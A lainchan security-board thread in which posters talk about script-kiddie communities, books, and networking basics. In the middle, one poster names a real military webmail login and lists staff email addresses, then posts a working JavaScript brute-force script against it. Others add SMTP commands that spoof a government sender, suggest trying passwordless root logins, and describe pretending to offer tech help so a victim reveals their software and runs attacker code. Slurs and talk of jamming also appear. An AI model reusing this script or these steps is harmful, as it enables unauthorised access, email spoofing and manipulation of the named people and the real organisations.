Keeping Up With The Skids
lainchan / sec
----------------------------------------------------------------------
Liet Kynes · 2021-06-24 12:02
I've been involved in skid groups since a kid. It used to be really
easy to find them back in the day and I feel like it's even better in
the days of discord. Say what you want but skids tend to be a good
place to go for fairly rare resources. I've always been able to learn
neat tricks from them as well. I follow a lot of them on twitter and
I'm in a few Discord servers in a dedicated VM. Curious as to what you
guys think of this? Also, how does one find a real "crew"? I've heard
you can make a lot of connections with access to Offensive Security
forums but idk.
----------------------------------------------------------------------
Yeoja Aideul · 2021-06-24 15:42
>>16272
You have the brain of a peanut.
----------------------------------------------------------------------
Nemissa · 2021-06-24 16:12
youtube is a fun way to keep tabs, search how to setup x botnet, you
will get a bunch of skid tutorials and them beefing with each other
and their instagram.
----------------------------------------------------------------------
Switch · 2021-06-26 00:11
Hey OP is this you? Trying to use lainchan to find new skids to write
blogposts about for that sweet ad revenue.
----------------------------------------------------------------------
Boris Grishenko · 2021-06-26 00:28
>>16293
jfc you pussy grow a pai
----------------------------------------------------------------------
Lunch · 2021-06-26 00:29
>>16309
r
>>16294
you too glitterboy
----------------------------------------------------------------------
El KushLord420 · 2021-06-26 22:44
>>16271
this place is nice
----------------------------------------------------------------------
Haruyoshi · 2021-06-27 03:26
>>16310
the negros of europe are most displeased
----------------------------------------------------------------------
John Doe · 2021-06-29 11:37
>>16271
>>16308
The forehead contains the dox of every teen commiting petty cyber
crime.
----------------------------------------------------------------------
Netrunner · 2021-06-29 23:44
>>16338
>when you write a blogpost about a new skiddy ddos group
----------------------------------------------------------------------
Dozer · 2021-06-29 23:46
>>16338
>>16342
One more because it made me laugh.
----------------------------------------------------------------------
Arisu Mizuki · 2021-06-30 02:03
>>16338
Holy soykaf I can't believe I forgot about that lmao
----------------------------------------------------------------------
Switch · 2021-07-02 21:54
----------------------------------------------------------------------
Bobby Newmark · 2021-07-03 03:04
>>16385
I remember he got into a pissing contest with the admin of cockmail
because spamhous paid him to rant about webscanners. He also doxs
people who leave negative reviews of his books.
----------------------------------------------------------------------
藤原純一 · 2021-07-19 14:25
>>16271
What do you define as "skids?" Are you talking about the classic
definition of it (people who don't want to learn)? Or are you talking
about people who are beginners but are actually passionate about the
field? I myself fall into that second category and I found myself a
group on Matrix. We actually got our hands on the full 2020 OSCP
course but I haven't taken a look through that yet (working on
finishing Hacking the Art of Exploitation and The Shellcoder's
Handbook). I'm sure you can make connections to OffSec people. I'm
just going to say I know a couple people in the security industry. No
idea why they continue to associate with us given that we're just
starting out, but maybe they're helping a lot of beginner groups.
----------------------------------------------------------------------
Unnamed · 2021-07-19 17:40
>>16271
>>16657
probably talking about the people on HF, RF, xss forums... no?
----------------------------------------------------------------------
Hagbard Celine · 2021-07-20 13:12
>>16657
>full 2020 OSCP course
The one that OF gives out when you register for the exam? if so the
2021 is out there if you look hard enough.
regardless the one they give with the exam is utter soykaf, badly laid
out and i would go elsewhere personally
----------------------------------------------------------------------
Koos van der Merwe · 2021-07-20 13:19
>>16658
HF is still a thing?
Jesus I feel old. That was a honeypot back in 2010, can't imagine it
glows less nowadays.
----------------------------------------------------------------------
Linda Lee · 2021-07-27 01:15
>>16657
by skids I mean non-hackers. people that suck at programming or don't
know how. ddos in 2021 (and fail). talk about being 'known' and all of
that. people just starting out are just wannabes/proto-hackers nothing
wrong with it they usually end up successful. you're not really
"starting out" until you hit larval stage though
----------------------------------------------------------------------
Nguoi La · 2021-09-19 19:01
fuarrrking hell why is everyone learning security online like 15 I
feel too old for this soykaf are there any hackish communities with
adults in them I just want to better understand computers and make
some money
----------------------------------------------------------------------
Tank · 2021-09-19 19:59
>>17442
Adults just go to community colleges to learn about computers.
----------------------------------------------------------------------
藤原純一 · 2021-09-19 23:02
>>17442
It depends on where you go, if your look for adult people wanting a
career your better off doing something like TheCyberMentor or infosec
twitter and follow a bunch of "careered professionals"
----------------------------------------------------------------------
Faye Valentine · 2021-09-20 20:48
>>17442
If you're serious just do a course part time.
I did Comptia A+, Net+, Sec+ (all paid for by my pre coof employer),
and am now doing a cs and statistics degree from the open university
paid for by my current employer.
You can literally learn this soykaf from w3schools and youtube, but
more structured education programs work better for a lot of people
----------------------------------------------------------------------
Joe Bloggs · 2021-09-21 11:38
never really seen all that much useful stuff from skids on twitter
whats an example of a skid twitter you look at?
----------------------------------------------------------------------
Cypher · 2021-09-21 22:04
>>17442
If you're not certified grab some pdfs off zlib and study for a week
or two.
Teens just have a lot of free time and a lot of questions so you see
them more often.
----------------------------------------------------------------------
Nemissa · 2021-10-02 01:41
Are there really no skid communities that aren't on discord or some
soykafty forum? Is the scene that dead? Anyone have IRCs?
----------------------------------------------------------------------
Joey · 2021-10-02 18:43
>>17511
>IRCs
lel, i dont think skids even know what that is. search around twitter.
there are a lot of feds so be careful. i was in a discord with a few
and very few are actively doing anything so im not sure its worth the
time. raid and null are the biggest skid forums and might be a good
place to start.
----------------------------------------------------------------------
Dozer · 2021-10-09 09:00
>since a kid
pretty sure you still are a kid and well a skid, get outta here, go
back to discord servers u brainless fucc
----------------------------------------------------------------------
Frank Garza · 2021-10-09 16:49
I always wondered why any slightly illegal goods market forums have
long since migrated into "dark" nets, but "hacker" forums continue
floating on the surface with domain names unchanged since their
inception. What force it takes to take down a darknet market, is
uninterested in information fraud forums.
----------------------------------------------------------------------
Motoko Kusanagi · 2021-10-09 19:23
>>17594
There was torum, but it doesn't exist anymore.
----------------------------------------------------------------------
Nameless · 2021-10-10 10:47
>>17595
sometimes i join skid discords just to feel like a king, its like
walking into a pub in a really rough area.
----------------------------------------------------------------------
sage · 2021-10-11 22:04
>>17600
Skiddy discords make my impostor syndrome a lot easier to deal with
after seeing soykaf like:
>How to make a FUD RAT in Python 2.7
>Golang load dll
>XSS Tutorial 1
----------------------------------------------------------------------
H.R. Giger · 2021-10-12 03:17
>>17600
>>17619
I hadn't thought of this before. Actually, since many anons start out
with petty cybercrime, perhaps it would be a nice gesture of goodwill
to go and 'reconfigure' the script kids, such that they understand how
they can go about actually learning something. And they would become
future allies for sure.
----------------------------------------------------------------------
Koos van der Merwe · 2021-11-11 00:57
>>17621
>would become future allies for sure.
Thats not how that works.
----------------------------------------------------------------------
Cutter · 2021-11-11 03:53
>>17621
They will be allies anyway, unless they flip for glowniggers. Teach
them opsec instead.
----------------------------------------------------------------------
fsociety · 2022-06-06 19:03
>>16657
More or less at your level, but regardless of being idiotic at
programming I'm very passionate about computing, cybersec, privacy,
networking and GNU/Linux (not about "technology" per se). I'm also an
oldphag lurker and I have a general observation that applies to almost
any field on the interwebs, but specially to the hacker movement.
You may learn whatever, son. You can't keep up even in a thousand
years if you don't navigate under the surface and get the real means
to do something. "1337 hax0rs" are all glowniggers and their tools for
cracking bleeding-edge devices/software platforms are all delivered to
corporations for them to harden their arsenal. That is why you won't
see any anon delivering links of any functional active hacking forum
(that revolves around actual activities) on any imageboard ever.
That's why their community is so abhorrently elitist. Do you think
actual powerful computer hackers are worried about norm1es' privacy,
ethics or any of the social problems that are being pointed out by
anons the last years? They just want fuarrrking money and power. You
may learn all the fundamentals, become a certified expert on a
specific field or whatever, but if you're not into some criminal lobby
or a brilliant professional to be hired by glowniggers, you're out of
the game. Period.
If actual hackers weren't working solely for criminal/three letter
agencies, if they actually started to train passionate newbies,
indoctrinate lammers or recruiting skiddies to cause real havoc on
real threatening platforms, the cyberspace would be in a raging war
right now (a quite righteous war). They never deliver or show up
because they're sold out to glowniggers. You can mess with normal
users but you can't mess with the dangerous soykaf that should be
taunted because the "masters" are the ones protecting it.
----------------------------------------------------------------------
Terzibashjian · 2022-06-07 17:17
>>19451
> They just want fuarrrking money and power. You may learn all the
fundamentals, become a certified expert on a specific field or
whatever, but if you're not into some criminal lobby or a brilliant
professional to be hired by glowniggers, you're out of the game.
Period.
The asymmetry of effort betrays you in this field. You are partially
right- most people in general just happen to be motivated primarily by
money, disgustingly enough. It's not as if most of these freelance sec
researchers work directly with feds, the exploit brokers just harness
their collective power via high-paying bug bounties.
----------------------------------------------------------------------
John Doe · 2022-06-07 21:31
>>16271
>Also, how does one find a real "crew"?
I will tell you a tale, of my life. I was a skid from age of 14 when I
used to browse 4chan /b/ back in 2007. Learned a few things, but
delved deeper and deeper after which learning a language and going
over hacking books was a good pasttime. Spending 5 days without sleep,
just hacking and finding security holes, making a botnet from
scratch... it was all fun but I liked the chase more than a goal, and
I felt lonely without people that liked the same things I did. I tried
pushing it on people IRL that were nerdy but they didn't like the
chase for power.
I did however end up in a really bad group in my early adulthood. They
were vicious, loved to dox/hack/steal/troll just for pure fun of it.
The true "lulz" of back old 4chan/b/ days. I thought I found my group.
The issue is that everything, every single interaction, was a "test".
You were never "in" or "out". We were all just floating around,
seperate but also together. The only thing that really brought the
group together was complete enjoyment of someones misery, who we
deemed to be punished by us. In reality this moral code we imposed on
the world was pure fabrication of the counterculture (think preTrump
but we had far right view on the world).
All in all, something happened that just made me nope the fuarrrk out.
I hacked someone, it was a judge, and they planted CP on him. It was
funny to them. We did horrible soykaf before, but not that horrible. I
just closed all contact. I knew I couldn't stop them, I just let them
die in my eyes and work towards the good. All of them are now either
in jail or have run off to third world countries, as far as I heard.
Now I am older, am still lonely but I found out that is just a
byproduct of having a niche deep interest that nobody can follow you
in. But also past traumas that made me hack as a kid in the first
place.
OP, you can be a hacker but also help people. People like you are
needed and respected in wider society, even if you have no such
feeling.
----------------------------------------------------------------------
Fred Nurk · 2022-06-08 22:37
>>19469
good story mate. happy travels
----------------------------------------------------------------------
Koos van der Merwe · 2022-06-09 21:01
>>19472
Thanks.
https://youtu.be/wLdZi0HXx68
----------------------------------------------------------------------
Debbie Charteris · 2022-06-12 07:21
>How do I join skid groups
Don't.
----------------------------------------------------------------------
Ender · 2022-06-12 14:03
>>19484
What am I supposed to do for stars then, catch real criminals?
----------------------------------------------------------------------
Zero Cool · 2022-06-27 19:07
>>19463
To me, glowniggers are all parties involved with three letter
agencies. If you contribute to them, you're one of them. Actually
these assholes are worse, because they're dedicating independent "neet
time" to indirectly fuarrrk people's lives up by helping the bad guys.
I always romanticized the real hackers as the guys who
designed/created the first operating systems and programming languages
in the 50s/60s, FSF, the Linux kernel project and related. About other
hacking projects besides these and the underground movement before the
20th century, I find hard to respect, relate or trust (motivation-
wise). It's not hard to understand their motivations, but finesse
wasted on soykaf is the worst.
And there's us, anons on an imageboard that can't share useful tools
for RL activities or deliver anything that can make any impact other
than assburger fiddling. Nothing against ricing, web ringing,
programming language discussions, just pointing out the danger: this
bland, frail approach is going to kill us because we're helpless,
afraid, hiding, etc.
>>19469
Crazy soykaf but based.
----------------------------------------------------------------------
Emmanuel · 2022-06-29 07:09
>>19576
>the real hackers as the guys who designed/created the first operating
systems and programming languages in the 50s/60s, FSF, the Linux
kernel project and related
That's the real hackers for sure. Whitehats and blackhats are just gay
cowboy shower buddies.
----------------------------------------------------------------------
Jean Dupont · 2022-06-29 10:37
I consider myself a script-kiddie too. Unlike most skids I can code
(somewhat) and I can develop my own tools (and I do), but I'm still
missing some fundamental knowledge needed for "real hacking",
especially when it comes to stuff like networking. My lack of
understanding regarding (even the basics of) networking is a real
hurdle, yet I'm not doing much progress in learning it, partially due
to lack of motivation, partially because the field seems way too wast
and confusing and I don't even know where to start. HELP
So that's why. I guess calling myself a "hacker" while not being able
to even configure a router properly would make me the cringiest person
alive, lol.
Anybody who wants to teach me 101 of networking here? Probably not..
By the way, don't buy the book called "The Pentester BluePrint:
Starting a Career as an Ethical Hacker". It's absolutely useless. It's
nothing more than an introduction to "hacker mindset" and explanation
of some basic terms.
On the other hand, the book "Penetration Testing: A Hands-On
Introduction to Hacking" is much better and seems to contain a lot of
useful practical info, yet I'm not sure how much of it is still
relevant today. I still have to sit down and read it through properly
though. I'll post a proper review when I'm done with it.
>>17463
> You can literally learn this soykaf from w3schools and youtube
What "soykaf" are we talking about in particualar? Because I doubt
that I'll find an article about scanning open ports on w3school...
>>17511
And what advantage would using IRC over Discord (or a web-forum) have?
Just to make the community feel more underground and 1337 ??
>>17593
Ironically enough, from all the people in this thread, it is you who
behaves most immature.
>>17619
Well, obviously the definition of a skid as "someone who doesn't want
to learn" doesn't apply anymore. As far as I can tell, they are doing
it right by starting there.
>>17621
> how they can go about actually learning something
And how is that?
> And they would become future allies for sure
Allies for what cause???
>>19469
> Spending 5 days without sleep, just hacking and finding security
holes
Sure mate... whatever you say...
----------------------------------------------------------------------
Cutter · 2022-06-29 11:52
>>19581
Interms of pentesting binarys i have this:
>Modern Binary Exploitation by RPISEC(https://github.com/rpisec/mbe)
which is supposed to teach you modern binary exploitation, and
https://github.com/RPISEC/Malware which is Malware Analysis By RPISEC
both have lectures and challanges so you can apply what you learned.
>Anybody who wants to teach me 101 of networking here? Probably not..
Unironically read trough wikipedia start from the most basics aka the
TCP/IP protocal and move from their.
----------------------------------------------------------------------
lids for skids · 2022-06-29 23:31
>>19581 networking really isn't as hard as people think it is.
imagine owning a computer. you can put files on it and you can
interact with those files using software. what if I want my friend to
be able to access a file on my computer. we plug our computers
together. now he can use an application (lets say notepad) to
read/interact with a file (test.text). so instead of calling a file
from disk, loading it into RAM, and then being able to interact with
it, you can instead read in a file from a different computer's
harddrive, load it into RAM, and interact with it.
Thats the core of the concept.
in practice this exchange of data has underlying services that handle
different steps of the data exchange (search: The OSI Model) so the
process is a bit more involved.
The two computers in a peer-to-peer topology is great and all, but
what about 3 computers? or more? now we need a switch.
so what a switch does is it's just a box with a bunch of Ethernet
ports and each computer connects to an open port on the switch. This
is a star topology. If computer 1 wants to talk to computer 4, comp1
sends out a packet down the wire to the switch. The switch broadcasts
to every computer "HEY, computer 1 wants to talk to computer 4". comp2
and 3 are like "oh thats not me" and drop the packet. comp4 is like
"oh soykaf, whats up comp1?". Mind you, the switch also broadcasts the
reply to all computers. in fact, the switch uses this broadcast method
for EVERY packet. so the operator of comp2 could decide "actually, i'd
like to keep a copy of every packet I see, even if it's not destined
for me" and he/she can do that.
how do these computers decide who is comp1 and who is comp4 and how do
they know who is who? This is where ARP comes in. Your computer sends
out a packet that essentially asks "hey YOU(whoever you are) whats
your MAC address?" and the switch by its very nature will broadcast
that to all connected devices. Kindly, every device will reply with
their Media Access Control (MAC) address, and some extra info. Side
note: MAC's are built in to Network Interface Cards (NICs) so the NIC
built into your motherboard has its MAC, but if you bought a PCIe wifi
card for your desktop, that is a second NIC and it has its own MAC.
enter: arp -a in cmd/ps to read whats in your current arp cache. In
the OSI model, this is layer 2 - Data Link layer.
so i'm getting flooded with all of everyone's traffic all the time?
evaluating a packet to see if it's for you or not is like sifting
through junk mail. It takes time and energy, and for large
corporations time and energy costs money. plus EVERYBODY is getting a
copy of my traffic? thats a privacy issue. How do I have my packets
set on a route to be delivered to just my intended destination? with a
router.
using our same star topology, I could go buy a soho and connect
comps1-4. Now the traffic will be sent to the intended recipient only.
problem solved. This is layer 4 of the OSI model, the Network Layer.
Routers communicate using IP addresses.
I have this little network of 4 computers and a router, can i plug my
router into another network's router? yes. The internet as a whole is
just a bunch of peoples private networks all strung together.
hopefully this helps lay some foundational knowledge. If you reply
with specific questions, I'll read them during lunch tomorrow.
----------------------------------------------------------------------
Bob Arctor · 2022-06-30 07:46
>>19583
Oh wow, that is a lot of... theory.
I'm not quite sure that I'll have much use for such deep theoretical
understanding of networks as a skid, but thanks anyway.
I would be more interested in something little bit more... practical.
For example: I have been browsing Shodan a lot lately and I've noticed
that most open ports are either TCP or UDP.
Now, I have some vague idea what the difference between TCP and UDP
is... I've heard that TCP checks if the data has arrived to the other
side fine, while UDP doesn't care or something like that. I've never
bothered to check what the difference really is in detail.
Also, I've noticed that most of the services running on TCP are either
HTTP, FTP or SSH. That's great, I know what all of those are. But I
have no idea what kind of services are usually running on those opened
UDP ports. Shodan usually doesn't provide much info for those UDP
ports, so I don't even know what to look for. Maybe I should just
search for "most common services using UDP" or something...
----------------------------------------------------------------------
Neuromancer · 2022-06-30 10:27
>>19584
-------------------------------------------------------------
Numerous key Internet applications use UDP, including: the Domain Name
System (DNS), the Simple Network Management Protocol (SNMP), the
Routing Information Protocol (RIP)[1] and the Dynamic Host
Configuration Protocol (DHCP).
Voice and video traffic is generally transmitted using UDP. Real-time
video and audio streaming protocols are designed to handle occasional
lost packets, so only slight degradation in quality occurs, rather
than large delays if lost packets were retransmitted. Because both TCP
and UDP run over the same network, in the mid-2000s a few businesses
found that an increasing UDP traffic from these real-time applications
slightly hindered the performance of applications using TCP such as
point of sale, accounting, and database systems (when TCP detects
packet loss, it will throttle back its data rate usage).[12]
Some VPN systems such as OpenVPN may use UDP and perform error
checking at the application level while implementing reliable
connections.
-------------------------------------------------------------
Applications can use datagram sockets to establish host-to-host
communications. An application binds a socket to its endpoint of data
transmission, which is a combination of an IP address and a port. In
this way, UDP provides application multiplexing. A port is a software
structure that is identified by the port number, a 16-bit integer
value, allowing for port numbers between 0 and 65535. Port 0 is
reserved but is a permissible source port value if the sending process
does not expect messages in response.
The Internet Assigned Numbers Authority (IANA) has divided port
numbers into three ranges.[4] Port numbers 0 through 1023 are used for
common, well-known services. On Unix-like operating systems, using one
of these ports requires superuser operating permission. Port numbers
1024 through 49151 are the registered ports used for IANA-registered
services. Ports 49152 through 65535 are dynamic ports that are not
officially designated for any specific service, and may be used for
any purpose. These may also be used as ephemeral ports, which software
running on the host may use to dynamically create communications
endpoints as needed.[4]
-------------------------------------------------------------
I tried to seperate these sections but yea its used for things like
file uploading,real-time video/audio, and just transmitting large
amounts of data over a network were packet loss would be expected and
instead of throtoling the whole connection because someone with a bad
connection happened to try to upload a huge file it just accepts the
packet loss and moves on.
----------------------------------------------------------------------
XERXES · 2022-06-30 10:52
>>19585
Makes sense. Thanks. This info should be useful.
Now... is there a way to tell which of these services is running on
these UDP ports? Because even shodan doesn't provide almost any info
about them usually. Sometimes it's just some random hex values,
sometimes the info box is completely blank.
----------------------------------------------------------------------
Dox · 2022-06-30 12:51
Alright my fellow skids, how would you get through this login page:
https://webmail.army.cz/iwc_static/c11n/allDomain/layout/login.html?la
ng=en-us
I've managed to find some e-mail addresses tied to this domain
kadasm@army.cz
palasr@army.cz
starao@army.cz
valentaf@army.cz
museum@army.cz
balvinp1@army.cz
vancurap@army.cz
kuzmiakm@army.cz
valentar@army.cz
hegara@army.cz
so I assume that they are also the usernames.
I wrote a bruteforce script to to bruteforce the password. You can
change the username simply by modifying the value of the variable
username (currently "starao"). You could also easily modify this
bruteforce script into a script that is trying word permutations
simply by changing the values in the chars array to be whole words
rather than single characters. You can also change the speed by
changing the number of milliseconds in the setInterval function.
Of course you will have to fill the captcha first, the script won't do
that for you, but it seems that they are using a static captcha per
one reload of the page, so the captcha doesn't change, no matter how
many failed attempts you perform. That seems like a huge weakness in
their security to me.
Okay, here's the script:
function findTop(number, base) {
var order = 1;
var failsafe = 0;
var stop = false;
while(stop == false) {
if(number>=Math.pow(base, order)) {
order++;
}
if(Math.pow(base, failsafe)>(number*number)) {
stop = true;
}
failsafe++;
}
return order;
}
function convertToResult(number, charsAr) {
var base = charsAr.length;
var top = findTop(number, base);
var order = top - 1;
var x = number;
var result = "";
while(order>=0) {
var box = Math.pow(base, order);
var get = x / box;
get = Math.floor(get);
result = result + charsAr[get];
var remain = x % box;
x = remain;
order--;
}
return result;
}
function loadIt() {
var ctry = document.getElementById("ctry").value;
ctry = parseInt(ctry);
return ctry;
}
function saveIt(ctry) {
document.getElementById("ctry").value = ctry;
}
function start() {
// USERSET VALUES
var username = "starao";
// USERSET VALUES END
var chars = ['a', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '?', '.', ',',
'@', '#'];
var ctry = loadIt();
var encoded = convertToResult(ctry, chars);
document.getElementById("username").value = username;
document.getElementById("password").value = encoded;
ctry++;
saveIt(ctry);
document.getElementById("signin_label").click();
}
var counter = '';
document.body.insertAdjacentHTML("beforeend", counter);
setInterval(start, 500);
----------------------------------------------------------------------
Judge Fang · 2022-06-30 12:57
>>19587
I forgot to mention that when you need to close the browser window or
something, you can always come back to it and start where you left off
simply by modifying the value of the hidden input with id "ctry".
Simply watch this value to change and when you need to leave the page,
simply write down the number somewhere and when you come back, you can
change the value in the script to start where you left off.
----------------------------------------------------------------------
Joe Bloggs · 2022-06-30 15:07
>>19587
You can disregard any value of "ctry" below 72000 for the account
"starao". Already tried.
----------------------------------------------------------------------
Wintermute · 2022-07-01 03:41
>>17442
>fuarrrking hell why is everyone learning security online like 15 I
feel too old for this soykaf are there any hackish communities with
adults in them I just want to better understand computers and make
some money
LinkedIn. No joke.
----------------------------------------------------------------------
bottom text · 2022-07-01 20:08
>>19586
Google "UDP scanning"
The literal first result is nmap UDP scan manual page.
gives you the commandline to use and even teaches you how to use it.
---------------------------------------------------------
For anyone interested in actually learning how port scanning works:
TCP connections are established with a 3-way handshake.
You send a SYN packet to initialize the connection. They respond with
a SYN, ACK as a way to show acceptance of the connection. Then you
send a final ACK packet to inform the remote computer that you got
their response.
The way TCP scanning works, involves manipulation of this 3 way
handshake so that the target machine will send information to you such
as what service is running (HTTP, SSH, etc). So if you send a SYN to
an open TCP port, it HAS TO reply. The SYN, ACK that the remote device
replies with will contain the running service (depending on the
service and its configuration). Then you just never send the final ACK
because you have the information you want. No connection is
established.
UDP traffic doesn't have a 3-way handshake, so you can't manipulate
it. instead, UDP scanning is much more limited. An Open UDP port
doesn't have to respond, no matter what kind of packets you throw at
it. so the response you get will be completely dependent on what
service is running. You may get some error handling/diagnostic
response from the service. More likely the service returns nothing.
>>19586
This is why shodan had ALMOST no info the provide on the UDP ports you
mentioned. If there were zero response, you couldn't tell an open UDP
port from a closed one. The limited info that you do see is the
reponse they got. Shodan doesn't know the significance of the reponse
from that port, but that port DID reply so we KNOW it's open, just not
what service it's running.
----------------------------------------------------------------------
Unknown · 2022-07-02 21:40
>>19592
Thanks a lot. This is exactly the info I needed.
----------------------------------------------------------------------
Dujour · 2022-07-09 10:13
>>19592
Are you still here? I need help with SMTP.
I found this server on shodan 195.64.136.162
It has a lot of open ports, but the most interesting ones seem to be
ports 25 and 587 which are open TCP ports, you can connect to them via
telnet and they are (I think) SMTP e-mail services or something.
The problem is that I have never done anything like this before. I
have quickly searched for "SMTP commands" and was able to grasp some
of it, but obviously not all of it. It's kinda confusing.
For all I can tell, it should be possible to send e-mails with this,
like you should be able to do something like this:
EHLO army.cz
MAIL FROM:
RCPT TO:
DATA
Hello there
.
SEND FROM:
QUIT
Am I missing something?
----------------------------------------------------------------------
Boris Grishenko · 2022-07-09 10:33
>>19644
Oh, I'm an idiot. It should be just like this
EHLO army.cz
MAIL FROM: admin@khrda.gov.ua
RCPT TO: kadasm@army.cz
DATA
Hello there
.
SEND FROM: admin@khrda.gov.ua
QUIT
Those < and > signs should not be there.
----------------------------------------------------------------------
Rick Deckard · 2022-07-09 13:31
>>19644
>It has a lot of open ports, but the most interesting ones seem to be
ports 25 and 587 which are open TCP ports, you can connect to them via
telnet and they are (I think) SMTP e-mail services or something.
I don't know about SMTP but i know that if they have a open telnet/ssh
port you could try to see if theirs a nobody user or root without any
password, millitary is usually incompetent with security so you might
be lucky.
Note: if you login with the nobody user you will have to perform some
kind of privilage escalation.
----------------------------------------------------------------------
Chani · 2022-07-11 11:13
>>19647
> you could try to see if theirs a nobody user or root without any
password
It doesn't seem to be the case
----------------------------------------------------------------------
HELIOS · 2022-07-11 13:44
Okay, so far this is the best ontopic book I have ever read. I was
seriously impressed how much new useful info I have learned from this
book.
What's more, the shole book is online on books.google
https://books.google.cz/books?id=AqNiDwAAQBAJ&printsec=frontcover&sour
ce=gbs_ge_summary_r&cad=0#v=onepage&q&f=false
I know that this all sounds like bunch of sh**ling, but trust me, I am
not paid for this, lel
----------------------------------------------------------------------
Y.T · 2022-07-11 15:01
>>19655
>It doesn't seem to be the case
Then i guess you'll have to resort to some kind of social
engineering/OSINT, otherwise you'll have to bruteforce the thing.
One thing, you could try the names of the emails as passwords/account
names.
----------------------------------------------------------------------
polity · 2022-07-19 08:15
>>16657
where can you find matrix groups? like people who are learning to hack
----------------------------------------------------------------------
Technician · 2022-08-01 16:27
I'm starting to think that all these hacking books are a scam. They
usually contain very outdated info or some highly theoretical attack
examples that work only in like one in a billion cases, half of the
book are just pages of C code (Why? Do you really expect me to copy-
type all that stuff?! I can probably find that code somewhere on
github or some such place anyway, so why bother printing it directly
into the book? Can't you just tell me what the attack type is called
and let me search for it online?) I'm seriously getting depressed just
from reading this stuff. I've spent over 250 € on hacking books now
and the result... is zero. I can't do soykaf. Okay, maybe I am the
problem. Maybe I'm just not smart enough. Maybe I should leave this to
the big-brained people. Guys.. seriously tell me... Was any of you
able to successfully perform some kind of an attack which was based on
any of the examples from any of these books? I'm almost willing to bet
that you didn't...
----------------------------------------------------------------------
Hitomi · 2022-08-01 16:37
>>19766
Hacking: The Art of Exploitation is a good book, though.
Perhaps you would like to read Gray Hat Hacking instead?
>Do you really expect me to copy-type all that stuff?!
Yes.
----------------------------------------------------------------------
Crash Override · 2022-08-01 17:18
>>19767
> Perhaps you would like to read Gray Hat Hacking instead?
I'm not going to buy yet another hacking book. I alerady have a ton of
them and they are all useless (at least to me).
Now I understand why: By publishing those exploits they make them well
known, and if the exploits are well known, then it only make sense
that they are already fixed everywhere.
You won't be able to hack anything unless you have a zero day exploit,
and logically you won't be able to find a zero day exploit in any
book. That just makes sense.
So you would have to look for one yourself and for that you would need
like superb knowledge of parsers and stuff.
So the only real way how to become a hacker is by studying parsers and
stuff, not by reading silly books about "how to hack".
----------------------------------------------------------------------
Ivan Petrov · 2022-08-01 18:14
>>19766
>read read read read read
You've got it wrong. You only read when you don't understand
something. Otherwise, read and write actual code. Read all the theory
you want, but without practice it's useless.
>Was any of you able to successfully perform some kind of an attack
which was based on any of the examples from any of these books? I'm
almost willing to bet that you didn't...
lol, lmao, even
This isn't some universal checklist that you can just iterate through
cleanly for everything everywhere, you have to actually know what a
system is. Your goal is to read/write/execute data from some
digital+human network that you shouldn't be able to. In order to do
this you need to perform recon- you want to know about all of a
network's externally-facing services and about the machines that run
those services, what people have access to what and information about
all of those peoples' machines, how authentication and access control
is done, you want to know about every attack vector. You learn about
the characteristics of every machine and human even remotely related
to a network and how those machines and people interact with each
other and compute on data. A human may be coaxed into connecting to
hosts via some client on their machine, like BitTorrent or their Web
Browser or a video game, downloading and parsing a file in their Email
client, some insecure VoIP soykaf, there may be services running on
their machine accessible via the local network. An actual
vulnerability could be memory corruption, a logical flaw, a
configuration issue, a design flaw, weak credentials/keys, etc.
My point here is that you endeavor to enumerate all possible attack
vectors across the entire stack, from the physical security layer all
the way up to the social layer and everything in between, extract as
much data as you can about the specifics of those vectors, assess the
costs of exploiting each one, and choose the cheapest in terms of time
or money. There is no cookie-cutter solution for scrutinizing any
given vector- if the CMS on the back-end of that webforum seems like
one of the more vulnerable parts of the attack surface, you are going
to have to learn a lot about how it's implemented, how the
technologies that underlie that vector actually work, before you can
try poking and prodding at it to find a way to read/write/exec
something that you shouldn't be able to.
Good example of some anon demystifying hacking:
https://cryptome.org/2015/07/hackback.htm
----------------------------------------------------------------------
Nguoi La · 2022-08-01 18:16
>>19769
Anyway, an example of recon I've done:
>Read everything on public database about pseudonym (people giving
data about their computers, networks, jobs for free)
>Look for cracked credentials (front door) available online.
Considered phishing to get them, but didn't.
>Scan from outside to guess at their router model via fingerprinting
of known machines
>Opportunistically "helping" nym with fixing their navi (messaging
service, found via social media)
>"Ok, let's screen-share. Can you open the Programs & Features menu so
we can check what's installed? The task manager too, yeah. Let's also
list what services are running and how X or Y is set up just in case .
. ." ( +r user tells you their OS, all bytes that typically get
executed on their computer, what they are currently executing, what
actual services are running right now, maybe even what physical
devices they have plugged in (read: outdated soykafty firmware), the
configurations of many of these pieces of software, habits about what
they typically connect to and what they usually execute. you might
even get a little bit of +w if you can coax them into altering any of
these things on your behalf, and +x outright if they are stupid enough
to just download and execute something at your command)
>They're running some soykafty game with tons of p2p functionality and
evidently horrible security. No public vulns, but got one.
At that point it's just a matter of opsec, persistence & priv esc (if
you care ), evasion of IDS/AV (hahaha) if they have them, remaining
undetected as best as possible, or pivoting. The usual post
exploitation stuff
----------------------------------------------------------------------
Spooky · 2022-08-01 19:04
>>19768
>Gray Hat Hacking
>I'm not going to buy yet another hacking book.
Download it from libgen then. It's more practical book, imo. Then do
CTFs and crackmes. Explore ExploitDB (https://www.exploit-db.com/).
----------------------------------------------------------------------
Dr. X · 2022-08-01 19:22
>>19770
> Opportunistically "helping" nym with fixing their navi (messaging
service, found via social media)
> "Ok, let's screen-share. Can you open the Programs & Features menu
so we can check what's installed? The task manager too, yeah. Let's
also list what services are running and how X or Y is set up just in
case
That's another problem: I can't do social engineering at all. For some
reason people never trust me. Not even a little bit. They are always
super suspicious of me (even when I'm actually trying to help, lol). I
guess I give off some untrustworthy wibes or something.
----------------------------------------------------------------------
Spooky · 2022-08-01 19:35
By the way I also bought these Wi-Fi and 4G jammers (I think 5G is not
widely used in my country yet). Apparently their effective distance is
only about 10 meters or so.
Any ideas how could I used them in order to fight the state?
----------------------------------------------------------------------
Splicer · 2022-08-01 22:16
>>19774
>Any ideas how could I used them in order to fight the state?
Lmfao at this fed. Every hacker knows that the most effective way to
fight evil is with altruism, constructively pushing the asymmetry of
information in favor of the public. That means enhancing peoples'
security, privacy, anonymity, censorship-resistance, and usability of
